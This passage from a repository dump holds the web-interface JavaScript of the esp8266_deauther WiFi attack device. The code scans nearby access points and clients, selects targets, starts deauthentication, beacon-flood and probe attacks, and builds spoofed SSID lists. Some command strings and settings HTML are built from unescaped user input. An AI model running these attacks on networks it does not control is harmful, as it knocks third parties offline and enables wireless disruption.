href=\"https://github.com/adafruit/Adafruit_NeoPixel\" target=\"_blank\">Adafruit NeoPixel</a>\r\n\t\t\t\t\t</li>\r\n\t\t\t\t\t<li><a href=\"https://github.com/NorthernWidget/DS3231\" target=\"_blank\">DS3231</a></li>\r\n\t\t\t\t\t<li><a href=\"https://github.com/xoseperez/my92xx\" target=\"_blank\">my92xx</a></li>\r\n\t\t\t\t</ul>\r\n\t\t\t\tWe also thank Espressif and their community for this awesome chip and all the software and\r\n\t\t\t\thardware projects around it and the countless tutorials you can find online!<br>\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<h2>License</h2>\r\n\t\t\t\t<p>\r\n\t\t\t\t\t<b>In regards to the firmware:</b><br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tMIT License<br>\r\n\t\t\t\t\tCopyright (c) 2020 Spacehuhn Technologies<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tPermission is hereby granted, free of charge, to any person obtaining a copy of this software and\r\n\t\t\t\t\tassociated documentation files (the \"Software\"), to deal in the Software without restriction,\r\n\t\t\t\t\tincluding without limitation the rights to use, copy, modify, merge, publish, distribute,\r\n\t\t\t\t\tsublicense, and/or sell copies of the Software, and to permit persons to whom the Software is\r\n\t\t\t\t\tfurnished to do so, subject to the following conditions:<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tThe above copyright notice and this permission notice shall be included in all copies or substantial\r\n\t\t\t\t\tportions of the Software.<br>\r\n\t\t\t\t\t<br>\r\n\t\t\t\t\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT\r\n\t\t\t\t\tNOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\r\n\t\t\t\t\tNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES\r\n\t\t\t\t\tOR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\r\n\t\t\t\t\tCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\r\n\t\t\t\t</p>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t<footer>\r\n\t\t<span id=\"version\">Version 2.6.1</span>\r\n\t\t<br>\r\n\t\t<br>\r\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\r\n\t</footer>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web_interface/js/attack.js",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar attackJSON = [[false, 0, 0], [false, 0, 0], [false, 0, 0]];\r\n\r\nfunction draw() {\r\n\tgetE(\"deauth\").innerHTML = attackJSON[0][0] ? lang(\"stop\") : lang(\"start\");\r\n\tgetE(\"beacon\").innerHTML = attackJSON[1][0] ? lang(\"stop\") : lang(\"start\");\r\n\tgetE(\"probe\").innerHTML = attackJSON[2][0] ? lang(\"stop\") : lang(\"start\");\r\n\r\n\tgetE(\"deauthTargets\").innerHTML = esc(attackJSON[0][1] + \"\");\r\n\tgetE(\"beaconTargets\").innerHTML = esc(attackJSON[1][1] + \"\");\r\n\tgetE(\"probeTargets\").innerHTML = esc(attackJSON[2][1] + \"\");\r\n\r\n\tgetE(\"deauthPkts\").innerHTML = esc(attackJSON[0][2] + \"/\" + attackJSON[0][3]);\r\n\tgetE(\"beaconPkts\").innerHTML = esc(attackJSON[1][2] + \"/\" + attackJSON[1][3]);\r\n\tgetE(\"probePkts\").innerHTML = esc(attackJSON[2][2] + \"/\" + attackJSON[2][3]);\r\n\r\n\tgetE(\"allpkts\").innerHTML = esc(attackJSON[3] + \"\");\r\n}\r\n\r\nfunction stopAll() {\r\n\tgetFile(\"run?cmd=stop attack\", function () {\r\n\t\tload();\r\n\t});\r\n}\r\n\r\nfunction start(mode) {\r\n\tswitch (mode) {\r\n\t\tcase 0:\r\n\t\t\tattackJSON[0][0] = !attackJSON[0][0];\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tattackJSON[1][0] = !attackJSON[1][0];\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tattackJSON[2][0] = !attackJSON[2][0];\r\n\t\t\tbreak;\r\n\t}\r\n\tgetFile(\"run?cmd=attack\" + (attackJSON[0][0] ? \" -d\" : \"\") + (attackJSON[1][0] ? \" -b\" : \"\") + (attackJSON[2][0] ? \" -p\" : \"\"), function () {\r\n\t\tsetTimeout(load, 2000);\r\n\t\tdraw();\r\n\t});\r\n}\r\n\r\nfunction load() {\r\n\tgetFile(\"attack.json\", function (response) {\r\n\t\tattackJSON = JSON.parse(response);\r\n\t\tconsole.log(response);\r\n\t\tshowMessage(\"connected\");\r\n\t\tdraw();\r\n\t});\r\n}"
  },
  {
    "path": "web_interface/js/scan.js",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar nameJson = [];\r\nvar scanJson = { aps: [], stations: [] };\r\n\r\nfunction drawScan() {\r\n\tvar html;\r\n\tvar selected;\r\n\tvar width;\r\n\tvar color;\r\n\tvar macVendor;\r\n\r\n\t// Access Points\r\n\tgetE(\"apNum\").innerHTML = scanJson.aps.length;\r\n\thtml = \"<tr>\"\r\n\t\t+ \"<th class='id'></th>\"\r\n\t\t+ \"<th class='ssid'>SSID</th>\"\r\n\t\t+ \"<th class='name'>Name</th>\"\r\n\t\t+ \"<th class='ch'>Ch</th>\"\r\n\t\t+ \"<th class='rssi'>RSSI</th>\"\r\n\t\t+ \"<th class='enc'>Enc</th>\"\r\n\t\t+ \"<th class='lock'></th>\"\r\n\t\t+ \"<th class='mac'>MAC</th>\"\r\n\t\t+ \"<th class='vendor'>Vendor</th>\"\r\n\t\t+ \"<th class='selectColumn'></th>\"\r\n\t\t+ \"<th class='remove'></th>\"\r\n\t\t+ \"</tr>\";\r\n\r\n\tfor (var i = 0; i < scanJson.aps.length; i++) {\r\n\t\tselected = scanJson.aps[i][scanJson.aps[i].length - 1];\r\n\t\twidth = parseInt(scanJson.aps[i][3]) + 130;\r\n\r\n\t\tif (width < 50) color = \"meter_red\";\r\n\t\telse if (width < 70) color = \"meter_orange\";\r\n\t\telse color = \"meter_green\";\r\n\r\n\t\thtml += (selected ? \"<tr class='selected'>\" : \"<tr>\")\r\n\t\t\t+ \"<td class='id'>\" + i + \"</td>\" // ID\r\n\t\t\t+ \"<td class='ssid'>\" + esc(scanJson.aps[i][0]) + \"</td>\" // SSID\r\n\t\t\t+ \"<td class='name'>\" + (scanJson.aps[i][1].length > 0 ? esc(scanJson.aps[i][1]) : \"<button onclick='add(0,\" + i + \")'>\" + lang(\"add\") + \"</button>\") + \"</td>\" // Name\r\n\t\t\t+ \"<td class='ch'>\" + esc(scanJson.aps[i][2]) + \"</td>\" // Ch\r\n\t\t\t// RSSI\r\n\t\t\t+ \"<td class='rssi'><div class='meter_background'> <div class='meter_forground \" + color + \"' style='width: \" + width + \"%;'><div class='meter_value'>\" + scanJson.aps[i][3] + \"</div></div> </div></td>\"\r\n\t\t\t+ \"<td class='enc'>\" + esc(scanJson.aps[i][4]) + \"</td>\" // ENC\r\n\t\t\t+ \"<td class='lock'>\" + (scanJson.aps[i][4] == \"-\" ? \"\" : \"&#x1f512;\") + \"</td>\" // Lock Emoji\r\n\t\t\t+ \"<td class='mac'>\" + esc(scanJson.aps[i][5]) + \"</td>\" // MAC\r\n\t\t\t+ \"<td class='vendor'>\" + esc(scanJson.aps[i][6]) + \"</td>\" // Vendor\r\n\t\t\t// Select\r\n\t\t\t+ \"<td class='selectColumn'><label class='checkBoxContainer'><input type='checkbox' \" + (selected ? \"checked\" : \"\") + \" onclick='selectRow(0,\" + i + \",\" + (selected ? \"false\" : \"true\") + \")'><span class='checkmark'></span></label></td>\"\r\n\t\t\t+ \"<td class='remove'><button class='red' onclick='remove(0,\" + i + \")'>X</button></td>\" // Remove\r\n\t\t\t+ \"</tr>\";\r\n\t}\r\n\r\n\tgetE(\"apTable\").innerHTML = html;\r\n\r\n\t// Stations\r\n\tgetE(\"stNum\").innerHTML = scanJson.stations.length;\r\n\thtml = \"<tr>\"\r\n\t\t+ \"<th class='id'></th>\"\r\n\t\t+ \"<th class='vendor'>Vendor</th>\"\r\n\t\t+ \"<th class='mac'>MAC</th>\"\r\n\t\t+ \"<th class='ch'>Ch</th>\"\r\n\t\t+ \"<th class='name'>Name</th>\"\r\n\t\t+ \"<th class='pkts'>Pkts</th>\"\r\n\t\t+ \"<th class='ap'>AP</th>\"\r\n\t\t+ \"<th class='lastseen'>Last seen</th>\"\r\n\t\t+ \"<th class='selectColumn'></th>\"\r\n\t\t+ \"<th class='remove'></th>\"\r\n\t\t+ \"</tr>\";\r\n\r\n\tfor (var i = 0; i < scanJson.stations.length; i++) {\r\n\t\tselected = scanJson.stations[i][scanJson.stations[i].length - 1];\r\n\t\tap = \"\";\r\n\t\tif (scanJson.stations[i][5] >= 0)\r\n\t\t\tap = esc(scanJson.aps[scanJson.stations[i][5]][0]);\r\n\r\n\t\thtml += (selected ? \"<tr class='selected'>\" : \"<tr>\")\r\n\t\t\t+ \"<td class='id'>\" + i + \"</td>\" // ID\r\n\t\t\t+ \"<td class='vendor'>\" + esc(scanJson.stations[i][3]) + \"</td>\" // Vendor\r\n\t\t\t+ \"<td class='mac'>\" + esc(scanJson.stations[i][0]) + \"</td>\" // MAC\r\n\t\t\t+ \"<td class='ch'>\" + esc(scanJson.stations[i][1]) + \"</td>\" // Ch\r\n\t\t\t+ \"<td class='name'>\" + (scanJson.stations[i][2].length > 0 ? esc(scanJson.stations[i][2]) : \"<button onclick='add(1,\" + i + \")'>\" + lang(\"add\") + \"</button>\") + \"</td>\" // Name\r\n\t\t\t+ \"<td class='pkts'>\" + esc(scanJson.stations[i][4]) + \"</td>\" // Pkts\r\n\t\t\t+ \"<td class='ap'>\" + ap + \"</td>\" // AP\r\n\t\t\t+ \"<td class='lastseen'>\" + esc(scanJson.stations[i][6]) + \"</td>\" // Last seen\r\n\t\t\t// Select\r\n\t\t\t+ \"<td class='selectColumn'><label class='checkBoxContainer'><input type='checkbox' \" + (selected ? \"checked\" : \"\") + \" onclick='selectRow(1,\" + i + \",\" + (selected ? \"false\" : \"true\") + \")'><span class='checkmark'></span></label></td>\"\r\n\t\t\t+ \"<td class='remove'><button class='red' onclick='remove(1,\" + i + \")'>X</button></td>\" // Remove\r\n\t\t\t+ \"</tr>\";\r\n\t}\r\n\r\n\tgetE(\"stTable\").innerHTML = html;\r\n}\r\n\r\nfunction drawNames() {\r\n\tvar html;\r\n\tvar selected;\r\n\r\n\t// Names\r\n\tgetE(\"nNum\").innerHTML = nameJson.length;\r\n\thtml = \"<tr>\"\r\n\t\t+ \"<th class='id'></th>\"\r\n\t\t+ \"<th class='mac'>MAC</th>\"\r\n\t\t+ \"<th class='vendor'>Vendor</th>\"\r\n\t\t+ \"<th class='name'>Name</th>\"\r\n\t\t+ \"<th class='ap'>AP-BSSID</th>\"\r\n\t\t+ \"<th class='ch'>Ch</th>\"\r\n\t\t+ \"<th class='save'></th>\"\r\n\t\t+ \"<th class='selectColumn'></th>\"\r\n\t\t+ \"<th class='remove'></th>\"\r\n\t\t+ \"</tr>\";\r\n\r\n\tfor (var i = 0; i < nameJson.length; i++) {\r\n\t\tselected = nameJson[i][nameJson[i].length - 1];\r\n\r\n\t\thtml += (selected ? \"<tr class='selected'>\" : \"<tr>\")\r\n\t\t\t+ \"<td class='id'>\" + i + \"</td>\" // ID\r\n\t\t\t+ \"<td class='mac' contentEditable='true' id='name_\" + i + \"_mac'>\" + esc(nameJson[i][0]) + \"</td>\" // MAC\r\n\t\t\t+ \"<td class='vendor'>\" + esc(nameJson[i][1]) + \"</td>\" // Vendor\r\n\t\t\t+ \"<td class='name' contentEditable='true' id='name_\" + i + \"_name'>\" + esc(nameJson[i][2].substring(0, 16)) + \"</td>\" // Name\r\n\t\t\t+ \"<td class='ap' contentEditable='true' id='name_\" + i + \"_apbssid'>\" + esc(nameJson[i][3]) + \"</td>\" // AP-BSSID\r\n\t\t\t+ \"<td class='ch' contentEditable='true' id='name_\" + i + \"_ch'>\" + esc(nameJson[i][4]) + \"</td>\" // Ch\r\n\t\t\t+ \"<td class='save'><button class='green' onclick='save(\" + i + \")'>\" + lang(\"save\") + \"</button></td>\" // Save\r\n\t\t\t// Select\r\n\t\t\t+ \"<td class='selectColumn'><label class='checkBoxContainer'><input type='checkbox' \" + (selected ? \"checked\" : \"\") + \" onclick='selectRow(2,\" + i + \",\" + (selected ? \"false\" : \"true\") + \")'><span class='checkmark'></span></label></td>\"\r\n\t\t\t+ \"<td class='remove'><button class='red' onclick='remove(2,\" + i + \")'>X</button></td>\" // Remove\r\n\t\t\t+ \"</tr>\";\r\n\t}\r\n\r\n\tgetE(\"nTable\").innerHTML = html;\r\n}\r\n\r\nvar duts;\r\nvar elxtime;\r\nfunction scan(type) {\r\n\tgetE('RButton').disabled = true;\r\n\tswitch (type) {\r\n\t\tcase 0:\r\n\t\t\tgetE('scanOne').disabled = true;\r\n\t\t\tgetE('scanZero').style.visibility = 'hidden';\r\n\t\t\telxtime = 2450;\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tgetE('scanZero').disabled = true;\r\n\t\t\tgetE('scanOne').style.visibility = 'hidden';\r\n\t\t\telxtime = parseInt(getE(\"scanTime\").value + \"000\") + 1500;\r\n\t}\r\n\tvar cmdStr = \"scan \"\r\n\t\t+ (type == 0 ? \"aps \" : \"stations -t \" + getE(\"scanTime\").value + \"s\")\r\n\t\t+ \" -ch \" + getE(\"ch\").options[getE(\"ch\").selectedIndex].value;\r\n\tgetFile(\"run?cmd=\" + cmdStr);\r\n\tduts = parseInt(type);\r\n\tsetTimeout(buttonFunc, elxtime);\r\n\tsetTimeout(load, elxtime);\r\n}\r\n\r\nfunction buttonFunc() {\r\n\tswitch (duts) {\r\n\t\tcase 0:\r\n\t\t\tgetE('scanZero').style.visibility = 'visible';\r\n\t\t\tgetE('scanOne').disabled = false;\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tgetE('scanOne').style.visibility = 'visible';\r\n\t\t\tgetE('scanZero').disabled = false;\r\n\t}\r\n\tgetE('RButton').disabled = false;\r\n}\r\n\r\nfunction load() {\r\n\t// APs and Stations\r\n\tgetFile(\"run?cmd=save scan\", function () {\r\n\t\tgetFile(\"scan.json\", function (res) {\r\n\t\t\tscanJson = JSON.parse(res);\r\n\t\t\tshowMessage(\"connected\");\r\n\t\t\tdrawScan();\r\n\t\t});\r\n\t});\r\n\t// Names\r\n\tgetFile(\"run?cmd=save names\", function () {\r\n\t\tgetFile(\"names.json\", function (res) {\r\n\t\t\tnameJson = JSON.parse(res);\r\n\t\t\tshowMessage(\"connected\");\r\n\t\t\tdrawNames();\r\n\t\t});\r\n\t});\r\n}\r\n\r\nfunction selectRow(type, id, selected) {\r\n\tswitch (type) {\r\n\t\tcase 0:\r\n\t\t\tscanJson.aps[id][7] = selected;\r\n\t\t\tdrawScan();\r\n\t\t\tgetFile(\"run?cmd=\" + (selected ? \"\" : \"de\") + \"select ap \" + id);\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tscanJson.stations[id][7] = selected;\r\n\t\t\tdrawScan();\r\n\t\t\tgetFile(\"run?cmd=\" + (selected ? \"\" : \"de\") + \"select station \" + id);\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tsave(id);\r\n\t\t\tnameJson[id][5] = selected;\r\n\t\t\tdrawNames();\r\n\t\t\tgetFile(\"run?cmd=\" + (selected ? \"\" : \"de\") + \"select name \" + id);\r\n\t}\r\n}\r\n\r\nfunction remove(type, id) {\r\n\tswitch (type) {\r\n\t\tcase 0:\r\n\t\t\tscanJson.aps.splice(id, 1);\r\n\t\t\tdrawScan();\r\n\t\t\tgetFile(\"run?cmd=remove ap \" + id);\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tscanJson.stations.splice(id, 1);\r\n\t\t\tdrawScan();\r\n\t\t\tgetFile(\"run?cmd=remove station \" + id);\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tnameJson.splice(id, 1);\r\n\t\t\tdrawNames();\r\n\t\t\tgetFile(\"run?cmd=remove name \" + id);\r\n\t}\r\n}\r\n\r\nfunction save(id) {\r\n\tvar mac = getE(\"name_\" + id + \"_mac\").innerHTML.replace(\"<br>\", \"\");\r\n\tvar name = getE(\"name_\" + id + \"_name\").innerHTML.replace(\"<br>\", \"\");\r\n\tvar apbssid = getE(\"name_\" + id + \"_apbssid\").innerHTML.replace(\"<br>\", \"\");\r\n\tvar ch = getE(\"name_\" + id + \"_ch\").innerHTML.replace(\"<br>\", \"\");\r\n\tvar changed = mac != nameJson[id][0] || name != nameJson[id][2] || apbssid != nameJson[id][3] || ch != nameJson[id][4];\r\n\tif (changed) {\r\n\t\tnameJson[id][0] = mac;\r\n\t\tnameJson[id][2] = name;\r\n\t\tnameJson[id][3] = apbssid;\r\n\t\tnameJson[id][4] = ch;\r\n\r\n\t\tif (nameJson[id][0].length != 17) {\r\n\t\t\tshowMessage(\"ERROR: MAC invalid\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tgetFile(\"run?cmd=replace name \" + id + \" -n \\\"\" + nameJson[id][2] + \"\\\" -m \\\"\" + nameJson[id][0] + \"\\\" -ch \" + nameJson[id][4] + \" -b \\\"\" + nameJson[id][3] + \"\\\" \" + (nameJson[id][5] ? \"-s\" : \"\"));\r\n\r\n\t\tdrawNames();\r\n\t}\r\n}\r\n\r\nfunction add(type, id) {\r\n\tif (nameJson.length >= 25) {\r\n\t\tshowMessage(\"Device Name List is full!\");\r\n\t\treturn;\r\n\t}\r\n\r\n\tswitch (type) {\r\n\t\tcase 0:\r\n\t\t\tgetFile(\"run?cmd=add name \\\"\" + scanJson.aps[id][0] + \"\\\" -ap \" + id);\r\n\t\t\tscanJson.aps[id][1] = scanJson.aps[id][0]; // name = SSID\r\n\t\t\tnameJson.push([scanJson.aps[id][5], scanJson.aps[id][6], scanJson.aps[id][0], \"\", scanJson.aps[id][2], false]);\r\n\t\t\tdrawScan();\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tgetFile(\"run?cmd=add name \\\"\" + scanJson.stations[id][0] + \"\\\" station \" + id);\r\n\t\t\tscanJson.stations[id][2] = \"device_\" + nameJson.length; // name = device_\r\n\t\t\tnameJson.push([scanJson.stations[id][0], scanJson.stations[id][3], \"device_\" + nameJson.length, scanJson.aps[scanJson.stations[id][5]][5], scanJson.stations[id][1], false]);\r\n\t\t\tdrawScan();\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tgetFile(\"run?cmd=add name device_\" + nameJson.length + \" -m 00:00:00:00:00:00 -ch 1\");\r\n\t\t\tnameJson.push([\"00:00:00:00:00:00\", \"\", \"device_\" + nameJson.length, \"\", 1, false]);\r\n\t\t\tdrawNames();\r\n\t}\r\n\r\n\tdrawNames();\r\n}\r\n\r\nfunction selectAll(type, select) {\r\n\tswitch (type) {\r\n\t\tcase 0:\r\n\t\t\tgetFile(\"run?cmd=\" + (select ? \"\" : \"de\") + \"select aps\");\r\n\t\t\tfor (var i = 0; i < scanJson.aps.length; i++) scanJson.aps[i][7] = select;\r\n\t\t\tdrawScan();\r\n\t\t\tbreak;\r\n\t\tcase 1:\r\n\t\t\tgetFile(\"run?cmd=\" + (select ? \"\" : \"de\") + \"select stations\");\r\n\t\t\tfor (var i = 0; i < scanJson.stations.length; i++) scanJson.stations[i][7] = select;\r\n\t\t\tdrawScan();\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tgetFile(\"run?cmd=\" + (select ? \"\" : \"de\") + \"select names\");\r\n\t\t\tfor (var i = 0; i < nameJson.length; i++) nameJson[i][5] = select;\r\n\t\t\tdrawNames();\r\n\t}\r\n}"
  },
  {
    "path": "web_interface/js/settings.js",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar settingsJson = {};\r\n\r\nfunction load() {\r\n\tgetFile(\"settings.json\", function (res) {\r\n\t\tsettingsJson = JSON.parse(res);\r\n\t\tshowMessage(\"connected\");\r\n\t\tdraw();\r\n\t});\r\n}\r\n\r\nfunction draw() {\r\n\tvar html = \"\";\r\n\tfor (var key in settingsJson) {\r\n\t\tkey = esc(key);\r\n\t\tif (settingsJson.hasOwnProperty(key)) {\r\n\t\t\thtml += \"<div class='row'>\"\r\n\t\t\t\t+ \"<div class='col-6'>\"\r\n\t\t\t\t+ \"<label class='settingName \" + (typeof settingsJson[key] == \"boolean\" ? \"labelFix\" : \"\") + \"' for='\" + key + \"'>\" + key + \":</label>\"\r\n\t\t\t\t+ \"</div>\"\r\n\t\t\t\t+ \"<div class='col-6'>\";\r\n\r\n\t\t\tif (typeof settingsJson[key] == \"boolean\") {\r\n\t\t\t\thtml += \"<label class='checkBoxContainer'><input type='checkbox' name='\" + key + \"' \" + (settingsJson[key] ? \"checked\" : \"\") + \" onchange='save(\\\"\" + key + \"\\\",!settingsJson[\\\"\" + key + \"\\\"])'><span class='checkmark'></span></label>\";\r\n\t\t\t} else if (typeof settingsJson[key] == \"number\") {\r\n\t\t\t\thtml += \"<input type='number' name='\" + key + \"' value=\" + settingsJson[key] + \" onchange='save(\\\"\" + key + \"\\\",parseInt(this.value))'>\";\r\n\t\t\t} else if (typeof settingsJson[key] == \"string\") {\r\n\t\t\t\thtml += \"<input type='text' name='\" + key + \"' value='\" + settingsJson[key].toString() + \"' \" + (key == \"version\" ? \"readonly\" : \"\") + \" onchange='save(\\\"\" + key + \"\\\",this.value)'>\";\r\n\t\t\t}\r\n\r\n\t\t\thtml += \"</div>\"\r\n\t\t\t\t+ \"</div>\"\r\n\t\t\t\t+ \"<div class='row'>\"\r\n\t\t\t\t+ \"<div class='col-12'>\"\r\n\t\t\t\t+ \"<p>\" + lang(\"setting_\" + key) + \"</p>\"\r\n\t\t\t\t+ \"<hr>\"\r\n\t\t\t\t+ \"</div>\"\r\n\t\t\t\t+ \"</div>\";\r\n\t\t}\r\n\t}\r\n\tgetE(\"settingsList\").innerHTML = html;\r\n}\r\n\r\nfunction save(key, value) {\r\n\tif (key) {\r\n\t\tsettingsJson[key] = value;\r\n\t\tgetFile(\"run?cmd=set \" + key + \" \\\"\" + value + \"\\\"\");\r\n\t} else {\r\n\t\tgetFile(\"run?cmd=save settings\", function (res) {\r\n\t\t\tload();\r\n\t\t});\r\n\t}\r\n}"
  },
  {
    "path": "web_interface/js/site.js",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar langJson = {};\r\n\r\nfunction getE(name) {\r\n\treturn document.getElementById(name);\r\n}\r\n\r\nfunction esc(str) {\r\n\tif (str) {\r\n\t\treturn str.toString()\r\n\t\t\t.replace(/&/g, '&amp;')\r\n\t\t\t.replace(/</g, '&lt;')\r\n\t\t\t.replace(/>/g, '&gt;')\r\n\t\t\t.replace(/\\\"/g, '&quot;')\r\n\t\t\t.replace(/\\'/g, '&#39;')\r\n\t\t\t.replace(/\\//g, '&#x2F;');\r\n\t}\r\n\treturn \"\";\r\n}\r\n\r\nfunction convertLineBreaks(str) {\r\n\tif (str) {\r\n\t\tstr = str.toString();\r\n\t\tstr = str.replace(/(?:\\r\\n|\\r|\\n)/g, '<br>');\r\n\t\treturn str;\r\n\t}\r\n\treturn \"\";\r\n}\r\n\r\nfunction showMessage(msg) {\r\n\tif (msg.startsWith(\"ERROR\")) {\r\n\t\tgetE(\"status\").style.backgroundColor = \"#d33\";\r\n\t\tgetE(\"status\").innerHTML = \"disconnected\";\r\n\r\n\t\tconsole.error(\"disconnected (\" + msg + \")\");\r\n\t} else if (msg.startsWith(\"LOADING\")) {\r\n\t\tgetE(\"status\").style.backgroundColor = \"#fc0\";\r\n\t\tgetE(\"status\").innerHTML = \"loading...\";\r\n\t} else {\r\n\t\tgetE(\"status\").style.backgroundColor = \"#3c5\";\r\n\t\tgetE(\"status\").innerHTML = \"connected\";\r\n\r\n\t\tconsole.log(\"\" + msg + \"\");\r\n\t}\r\n}\r\n\r\nfunction getFile(adr, callback, timeout, method, onTimeout, onError) {\r\n\t/* fallback stuff */\r\n\tif (adr === undefined) return;\r\n\tif (callback === undefined) callback = function () { };\r\n\tif (timeout === undefined) timeout = 8000;\r\n\tif (method === undefined) method = \"GET\";\r\n\tif (onTimeout === undefined) {\r\n\t\tonTimeout = function () {\r\n\t\t\tshowMessage(\"ERROR: timeout loading file \" + adr);\r\n\t\t};\r\n\t}\r\n\tif (onError === undefined) {\r\n\t\tonError = function () {\r\n\t\t\tshowMessage(\"ERROR: loading file: \" + adr);\r\n\t\t};\r\n\t}\r\n\r\n\t/* create request */\r\n\tvar request = new XMLHttpRequest();\r\n\r\n\t/* set parameter for request */\r\n\trequest.open(method, encodeURI(adr), true);\r\n\trequest.timeout = timeout;\r\n\trequest.ontimeout = onTimeout;\r\n\trequest.onerror = onError;\r\n\trequest.overrideMimeType(\"application/json\");\r\n\r\n\trequest.onreadystatechange = function () {\r\n\t\tif (this.readyState == 4) {\r\n\t\t\tif (this.status == 200) {\r\n\t\t\t\tshowMessage(\"CONNECTED\");\r\n\t\t\t\tcallback(this.responseText);\r\n\t\t\t}\r\n\t\t}\r\n\t};\r\n\r\n\tshowMessage(\"LOADING\");\r\n\r\n\t/* send request */\r\n\trequest.send();\r\n\r\n\tconsole.log(adr);\r\n}\r\n\r\nfunction lang(key) {\r\n\treturn convertLineBreaks(esc(langJson[key]));\r\n}\r\n\r\nfunction parseLang(fileStr) {\r\n\tlangJson = JSON.parse(fileStr);\r\n\tif (langJson[\"lang\"] != \"en\") {// no need to update the HTML\t\r\n\t\tvar elements = document.querySelectorAll(\"[data-translate]\");\r\n\t\tfor (i = 0; i < elements.length; i++) {\r\n\t\t\tvar element = elements[i];\r\n\t\t\telement.innerHTML = lang(element.getAttribute(\"data-translate\"));\r\n\t\t}\r\n\t}\r\n\tdocument.querySelector('html').setAttribute(\"lang\", langJson[\"lang\"]);\r\n\tif (typeof load !== 'undefined') load();\r\n}\r\n\r\nfunction loadLang() {\r\n\tvar language = \"default\"; //navigator.language.slice(0, 2);\r\n\tgetFile(\"lang/\" + language + \".lang\",\r\n\t\tparseLang,\r\n\t\t2000,\r\n\t\t\"GET\",\r\n\t\tfunction () {\r\n\t\t\tgetFile(\"lang/en.lang\", parseLang);\r\n\t\t}, function () {\r\n\t\t\tgetFile(\"lang/en.lang\", parseLang);\r\n\t\t}\r\n\t);\r\n}\r\n\r\nwindow.addEventListener('load', function () {\r\n\tgetE(\"status\").style.backgroundColor = \"#3c5\";\r\n\tgetE(\"status\").innerHTML = \"connected\";\r\n});"
  },
  {
    "path": "web_interface/js/ssids.js",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar ssidJson = { \"random\": false, \"ssids\": [] };\r\n\r\nfunction load() {\r\n\tgetFile(\"run?cmd=save ssids\", function () {\r\n\t\tgetFile(\"ssids.json\", function (res) {\r\n\t\t\tssidJson = JSON.parse(res);\r\n\t\t\tshowMessage(\"connected\");\r\n\t\t\tdraw();\r\n\t\t});\r\n\t});\r\n}\r\n\r\nfunction draw() {\r\n\tvar html;\r\n\r\n\thtml = \"<tr>\"\r\n\t\t+ \"<th class='id'></th>\"\r\n\t\t+ \"<th class='ssid'></th>\"\r\n\t\t+ \"<th class='lock'></th>\"\r\n\t\t+ \"<th class='save'></th>\"\r\n\t\t+ \"<th class='remove'></th>\"\r\n\t\t+ \"</tr>\";\r\n\r\n\tfor (var i = 0; i < ssidJson.ssids.length; i++) {\r\n\t\thtml += \"<tr>\"\r\n\t\t\t+ \"<td class='id'>\" + i + \"</td>\" // ID\r\n\t\t\t+ \"<td class='ssid' contenteditable='true' id='ssid_\" + i + \"'>\" + esc(ssidJson.ssids[i][0].substring(0, ssidJson.ssids[i][2])) + \"</td>\" // SSID\r\n\t\t\t+ \"<td class='lock clickable' onclick='changeEnc(\" + i + \")' id='enc_\" + i + \"'>\" + (ssidJson.ssids[i][1] ? \"&#x1f512;\" : \"-\") + \"</td>\" // Enc\r\n\t\t\t+ \"<td class='save'><button class='green' onclick='save(\" + i + \")'>\" + lang(\"save\") + \"</button></td>\" // Save\r\n\t\t\t+ \"<td class='remove'><button class='red' onclick='remove(\" + i + \")'>X</button></td>\" // Remove\r\n\t\t\t+ \"</tr>\";\r\n\t}\r\n\r\n\tgetE(\"randomBtn\").innerHTML = ssidJson.random ? lang(\"disable_random\") : lang(\"enable_random\");\r\n\r\n\tgetE(\"ssidTable\").innerHTML = html;\r\n}\r\n\r\nfunction remove(id) {\r\n\tssidJson.ssids.splice(id, 1);\r\n\tgetFile(\"run?cmd=remove ssid \" + id);\r\n\tdraw();\r\n}\r\n\r\nfunction add() {\r\n\tvar ssidStr = getE(\"ssid\").value;\r\n\tvar wpa2 = getE(\"enc\").checked;\r\n\tvar clones = getE(\"ssidNum\").value;\r\n\tvar force = getE(\"overwrite\").checked;\r\n\r\n\tif (ssidStr.length > 0) {\r\n\t\tvar cmdStr = \"add ssid \\\"\" + ssidStr + \"\\\"\" + (force ? \" -f\" : \" \") + \" -cl \" + clones;\r\n\t\tif (wpa2) cmdStr += \" -wpa2\";\r\n\r\n\t\tgetFile(\"run?cmd=\" + 